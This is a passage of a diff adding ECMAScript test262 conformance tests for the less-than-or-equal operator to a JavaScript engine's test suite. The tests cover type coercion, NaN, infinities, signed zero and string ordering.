+if (1 <= undefined !== false) {
+ $ERROR('#1: 1 <= undefined === false');
+}
+
+//CHECK#2
+if (undefined <= 1 !== false) {
+ $ERROR('#2: undefined <= 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) <= undefined !== false) {
+ $ERROR('#3: new Number(1) <= undefined === false');
+}
+
+//CHECK#4
+if (undefined <= new Number(1) !== false) {
+ $ERROR('#4: undefined <= new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.5.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.5.js
new file mode 100644
index 000000000..39fa250a5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.5.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true <= "1" !== true) {
+ $ERROR('#1: true <= "1" === true');
+}
+
+//CHECK#2
+if ("1" <= true !== true) {
+ $ERROR('#2: "1" <= true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) <= "1" !== true) {
+ $ERROR('#3: new Boolean(true) <= "1" === true');
+}
+
+//CHECK#4
+if ("1" <= new Boolean(true) !== true) {
+ $ERROR('#4: "1" <= new Boolean(true) === true');
+}
+
+//CHECK#5
+if (true <= new String("1") !== true) {
+ $ERROR('#5: true <= new String("1") === true');
+}
+
+//CHECK#6
+if (new String("1") <= true !== true) {
+ $ERROR('#6: new String("1") <= true === true');
+}
+
+//CHECK#7
+if (new Boolean(true) <= new String("1") !== true) {
+ $ERROR('#7: new Boolean(true) <= new String("1") === true');
+}
+
+//CHECK#8
+if (new String("1") <= new Boolean(true) !== true) {
+ $ERROR('#8: new String("1") <= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.6.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.6.js
new file mode 100644
index 000000000..321a4848e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.6.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" <= undefined !== false) {
+ $ERROR('#1: "1" <= undefined === false');
+}
+
+//CHECK#2
+if (undefined <= "1" !== false) {
+ $ERROR('#2: undefined <= "1" === false');
+}
+
+//CHECK#3
+if (new String("1") <= undefined !== false) {
+ $ERROR('#3: new String("1") <= undefined === false');
+}
+
+//CHECK#4
+if (undefined <= new String("1") !== false) {
+ $ERROR('#4: undefined <= new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.7.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.7.js
new file mode 100644
index 000000000..02a69689e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.7.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" <= null !== false) {
+ $ERROR('#1: "1" <= null === false');
+}
+
+//CHECK#2
+if (null <= "1" !== true) {
+ $ERROR('#2: null <= "1" === true');
+}
+
+//CHECK#3
+if (new String("1") <= null !== false) {
+ $ERROR('#3: new String("1") <= null === false');
+}
+
+//CHECK#4
+if (null <= new String("1") !== true) {
+ $ERROR('#4: null <= new String("1") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.8.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.8.js
new file mode 100644
index 000000000..580057063
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.8.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true <= undefined !== false) {
+ $ERROR('#1: true <= undefined === false');
+}
+
+//CHECK#2
+if (undefined <= true !== false) {
+ $ERROR('#2: undefined <= true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) <= undefined !== false) {
+ $ERROR('#3: new Boolean(true) <= undefined === false');
+}
+
+//CHECK#4
+if (undefined <= new Boolean(true) !== false) {
+ $ERROR('#4: undefined <= new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.9.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.9.js
new file mode 100644
index 000000000..ed70b36f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.1_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToNumber(x) <= ToNumber(y), if Type(Primitive(x)) is not String or Type(Primitive(y)) is not String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.1_T2.9.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true <= null !== false) {
+ $ERROR('#1: true <= null === false');
+}
+
+//CHECK#2
+if (null <= true !== true) {
+ $ERROR('#2: null <= true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) <= null !== false) {
+ $ERROR('#3: new Boolean(true) <= null === false');
+}
+
+//CHECK#4
+if (null <= new Boolean(true) !== true) {
+ $ERROR('#4: null <= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.1.js
new file mode 100644
index 000000000..354384ea8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToString(x) <= ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.2_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" <= "1" !== true) {
+ $ERROR('#1: "1" <= "1" === true');
+}
+
+//CHECK#2
+if (new String("1") <= "1" !== true) {
+ $ERROR('#2: new String("1") <= "1" === true');
+}
+
+//CHECK#3
+if ("1" <= new String("1") !== true) {
+ $ERROR('#3: "1" <= new String("1") === true');
+}
+
+//CHECK#4
+if (new String("1") <= new String("1") !== true) {
+ $ERROR('#4: new String("1") <= new String("1") === true');
+}
+
+//CHECK#5
+if ("x" <= "1" !== false) {
+ $ERROR('#5: "x" <= "1" === false');
+}
+
+//CHECK#6
+if ("1" <= "x" !== true) {
+ $ERROR('#6: "1" <= "x" === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.2.js
new file mode 100644
index 000000000..93ff5e2e2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A3.2_T1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x <= y returns ToString(x) <= ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A3.2_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} <= function(){return 1}) !== ({}.toString() <= function(){return 1}.toString())) {
+ $ERROR('#1: ({} <= function(){return 1}) === ({}.toString() <= function(){return 1}.toString())');
+}
+
+//CHECK#2
+if ((function(){return 1} <= {}) !== (function(){return 1}.toString() <= {}.toString())) {
+ $ERROR('#2: (function(){return 1} <= {}) === (function(){return 1}.toString() <= {}.toString())');
+}
+
+//CHECK#3
+if ((function(){return 1} <= function(){return 1}) !== (function(){return 1}.toString() <= function(){return 1}.toString())) {
+ $ERROR('#3: (function(){return 1} <= function(){return 1}) === (function(){return 1}.toString() <= function(){return 1}.toString())');
+}
+
+//CHECK#4
+if (({} <= {}) !== ({}.toString() <= {}.toString())) {
+ $ERROR('#4: ({} <= {}) === ({}.toString() <= {}.toString())');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.1.js
new file mode 100644
index 000000000..c94f02041
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.1.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.1.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NaN <= 0) !== false) {
+ $ERROR('#1: (NaN <= 0) === false');
+}
+
+//CHECK#2
+if ((Number.NaN <= 1.1) !== false) {
+ $ERROR('#2: (NaN <= 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NaN <= -1.1) !== false) {
+ $ERROR('#3: (NaN <= -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NaN <= Number.NaN) !== false) {
+ $ERROR('#4: (NaN <= NaN) === false');
+}
+
+//CHECK#5
+if ((Number.NaN <= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (NaN <= +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.NaN <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (NaN <= -Infinity) === false');
+}
+
+//CHECK#7
+if ((Number.NaN <= Number.MAX_VALUE) !== false) {
+ $ERROR('#7: (NaN <= Number.MAX_VALUE) === false');
+}
+
+//CHECK#8
+if ((Number.NaN <= Number.MIN_VALUE) !== false) {
+ $ERROR('#8: (NaN <= Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.10.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.10.js
new file mode 100644
index 000000000..4e2295c6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.10.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is a prefix of x and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.10.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x " <= "x") !== false) {
+ $ERROR('#1: ("x " <= "x") === false');
+}
+
+//CHECK#2
+if (("x" <= "") !== false) {
+ $ERROR('#2: ("x" <= "") === false');
+}
+
+//CHECK#3
+if (("abcd" <= "ab") !== false) {
+ $ERROR('#3: ("abcd" <= ab") === false');
+}
+
+//CHECK#4
+if (("abc\u0064" <= "abcd") !== true) {
+ $ERROR('#4: ("abc\\u0064" <= abcd") === true');
+}
+
+//CHECK#5
+if (("x" + "y" <= "x") !== false) {
+ $ERROR('#5: ("x" + "y" <= "x") === false');
+}
+
+//CHECK#6
+var x = "x";
+if ((x + 'y' <= x) !== false) {
+ $ERROR('#6: var x = "x"; (x + "y" <= x) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.11.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.11.js
new file mode 100644
index 000000000..556a9eb89
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.11.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is a prefix of y, return true
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.11.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" <= "x") !== true) {
+ $ERROR('#1: ("x" <= "x") === true');
+}
+
+//CHECK#2
+if (("" <= "x") !== true) {
+ $ERROR('#2: ("" <= "x") === true');
+}
+
+//CHECK#3
+if (("ab" <= "abcd") !== true) {
+ $ERROR('#3: ("ab" <= abcd") === true');
+}
+
+//CHECK#4
+if (("abcd" <= "abc\u0064") !== true) {
+ $ERROR('#4: ("abcd" <= abc\\u0064") === true');
+}
+
+//CHECK#5
+if (("x" <= "x" + "y") !== true) {
+ $ERROR('#5: ("x" <= "x" + "y") === true');
+}
+
+//CHECK#6
+var x = "x";
+if ((x <= x + "y") !== true) {
+ $ERROR('#6: var x = "x"; (x <= x + "y") === true');
+}
+
+//CHECK#7
+if (("a\u0000" <= "a\u0000a") !== true) {
+ $ERROR('#7: ("a\\u0000" <= "a\\u0000a") === true');
+}
+
+//CHECK#8
+if (("x" <= " x") !== false) {
+ $ERROR('#8: ("x" <= " x") === false');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T1.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T1.js
new file mode 100644
index 000000000..cb1228e57
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.12_T1.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("xx" <= "xy") !== true) {
+ $ERROR('#1: ("xx" <= "xy") === true');
+}
+
+//CHECK#2
+if (("xy" <= "xx") !== false) {
+ $ERROR('#2: ("xy" <= "xx") === false');
+}
+
+//CHECK#3
+if (("x" <= "y") !== true) {
+ $ERROR('#3: ("x" <= y") === true');
+}
+
+//CHECK#4
+if (("aab" <= "aba") !== true) {
+ $ERROR('#4: ("aab" <= aba") === true');
+}
+
+//CHECK#5
+if (("\u0061\u0061\u0061\u0062" <= "\u0061\u0061\u0061\u0061") !== false) {
+ $ERROR('#5: ("\\u0061\\u0061\\u0061\\u0062" <= \\u0061\\u0061\\u0061\\u0061") === false');
+}
+
+//CHECK#6
+if (("a\u0000a" <= "a\u0000b") !== true) {
+ $ERROR('#6: ("a\\u0000a" <= "a\\u0000b") === true');
+}
+
+//CHECK#7
+if (("aB" <= "aa") !== true) {
+ $ERROR('#7: ("aB" <= aa") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T2.js
new file mode 100644
index 000000000..459d73ed1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.12_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.12_T2.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("0" <= "x") !== true) {
+ $ERROR('#1: ("0" <= "x") !== true');
+}
+
+//CHECK#2
+if (("-" <= "0") !== true) {
+ $ERROR('#2: ("-" <= "0") !== true');
+}
+
+//CHECK#3
+if (("." <= "0") !== true) {
+ $ERROR('#3: ("." <= "0") !== true');
+}
+
+//CHECK#4
+if (("+" <= "-") !== true) {
+ $ERROR('#4: ("+" <= "-") !== true');
+}
+
+//CHECK#5
+if (("-0" <= "-1") !== true) {
+ $ERROR('#5: ("-0" <= "-1") !== true');
+}
+
+//CHECK#6
+if (("+1" <= "-1") !== true) {
+ $ERROR('#6: ("+1" <= "-1") !== true');
+}
+
+//CHECK#7
+if (("1" <= "1e-10") !== true) {
+$ERROR('#7: ("1" <= "1e-10") !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.2.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.2.js
new file mode 100644
index 000000000..dd195d809
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.2.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.2.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 <= Number.NaN) !== false) {
+ $ERROR('#1: (0 <= NaN) === false');
+}
+
+//CHECK#2
+if ((1.1 <= Number.NaN) !== false) {
+ $ERROR('#2: (1.1 <= NaN) === false');
+}
+
+//CHECK#3
+if ((-1.1 <= Number.NaN) !== false) {
+ $ERROR('#3: (-1.1 <= NaN) === false');
+}
+
+//CHECK#4
+if ((Number.NaN <= Number.NaN) !== false) {
+ $ERROR('#4: (NaN <= NaN) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY <= Number.NaN) !== false) {
+ $ERROR('#5: (+Infinity <= NaN) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY <= Number.NaN) !== false) {
+ $ERROR('#6: (-Infinity <= NaN) === false');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE <= Number.NaN) !== false) {
+ $ERROR('#7: (Number.MAX_VALUE <= NaN) === false');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE <= Number.NaN) !== false) {
+ $ERROR('#8: (Number.MIN_VALUE <= NaN) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.3.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.3.js
new file mode 100644
index 000000000..3c462cfdd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.3.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x and y are the same number value, return true
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.3.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1 <= 1) !== true) {
+ $ERROR('#1: (1 <= 1) === true');
+}
+
+//CHECK#2
+if ((1.1 <= 1.1) !== true) {
+ $ERROR('#2: (1.1 <= 1.1) === true');
+}
+
+//CHECK#3
+if ((-1.1 <= -1.1) !== true) {
+ $ERROR('#3: (-1.1 <= -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY <= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity <= -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#5: (+Infinity <= +Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE <= Number.MAX_VALUE) !== true) {
+ $ERROR('#6: (Number.MAX_VALUE <= Number.MAX_VALUE) === true');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE <= Number.MIN_VALUE) !== true) {
+ $ERROR('#7: (Number.MIN_VALUE <= Number.MIN_VALUE) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.4.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.4.js
new file mode 100644
index 000000000..4669cde36
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.4.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If either x or y is +0 and the other is -0, return true
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.4.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((0 <= 0) !== true) {
+ $ERROR('#1: (0 <= 0) === true');
+}
+
+//CHECK#2
+if ((-0 <= -0) !== true) {
+ $ERROR('#2: (-0 <= -0) === true');
+}
+
+//CHECK#3
+if ((+0 <= -0) !== true) {
+ $ERROR('#3: (+0 <= -0) === true');
+}
+
+//CHECK#4
+if ((-0 <= +0) !== true) {
+ $ERROR('#4: (-0 <= +0) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.5.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.5.js
new file mode 100644
index 000000000..ff3ab3a85
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +Infinity and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.5.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY <= 0) !== false) {
+ $ERROR('#1: (+Infinity <= 0) === false');
+}
+
+//CHECK#2
+if ((Number.POSITIVE_INFINITY <= 1.1) !== false) {
+ $ERROR('#2: (+Infinity <= 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY <= -1.1) !== false) {
+ $ERROR('#3: (+Infinity <= -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (+Infinity <= -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY <= Number.MAX_VALUE) !== false) {
+ $ERROR('#5: (+Infinity <= Number.MAX_VALUE) === false');
+}
+
+//CHECK#6
+if ((Number.POSITIVE_INFINITY <= Number.MIN_VALUE) !== false) {
+ $ERROR('#6: (+Infinity <= Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.6.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.6.js
new file mode 100644
index 000000000..1aa11f973
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.6.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is +Infinity and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.6.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#1: (0 <= +Infinity) === true');
+}
+
+//CHECK#2
+if ((1.1 <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#2: (1.1 <= +Infinity) === true');
+}
+
+//CHECK#3
+if ((-1.1 <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#3: (-1.1 <= +Infinity) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity <= +Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#5: (Number.MAX_VALUE <= +Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#6: (Number.MIN_VALUE <= +Infinity) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.7.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.7.js
new file mode 100644
index 000000000..8abd94de4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.7.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is -Infinity, return true
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.7.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NEGATIVE_INFINITY <= 0) !== true) {
+ $ERROR('#1: (-Infinity <= 0) === true');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY <= 1.1) !== true) {
+ $ERROR('#2: (-Infinity <= 1.1) === true');
+}
+
+//CHECK#3
+if ((Number.NEGATIVE_INFINITY <= -1.1) !== true) {
+ $ERROR('#3: (-Infinity <= -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY <= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity <= +Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.NEGATIVE_INFINITY <= Number.MAX_VALUE) !== true) {
+ $ERROR('#5: (-Infinity <= Number.MAX_VALUE) === true');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY <= Number.MIN_VALUE) !== true) {
+ $ERROR('#6: (-Infinity <= Number.MIN_VALUE) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.8.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.8.js
new file mode 100644
index 000000000..c126d0795
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.8.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is -Infinity and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.8.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#1: (0 <= -Infinity) === false');
+}
+
+//CHECK#2
+if ((1.1 <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#2: (1.1 <= -Infinity) === false');
+}
+
+//CHECK#3
+if ((-1.1 <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#3: (-1.1 <= -Infinity) === false');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (+Infinity <= -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#5: (Number.MAX_VALUE <= -Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE <= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (Number.MIN_VALUE <= -Infinity) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.9.js b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.9.js
new file mode 100644
index 000000000..fa0d9302c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/S11.8.3_A4.9.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is less or equal than y and these values are both finite non-zero, return true; otherwise, return false
+ *
+ * @path ch11/11.8/11.8.3/S11.8.3_A4.9.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1.1 <= 1) !== false) {
+ $ERROR('#1: (1.1 <= 1) === false');
+}
+
+//CHECK#2
+if ((1 <= 1.1) !== true) {
+ $ERROR('#2: (1 <= 1.1) === true');
+}
+
+//CHECK#3
+if ((-1.1 <= -1) !== true) {
+ $ERROR('#3: (-1.1 <= -1) === true');
+}
+
+//CHECK#4
+if ((-1 <= -1.1) !== false) {
+ $ERROR('#4: (-1 <= -1.1) === false');
+}
+
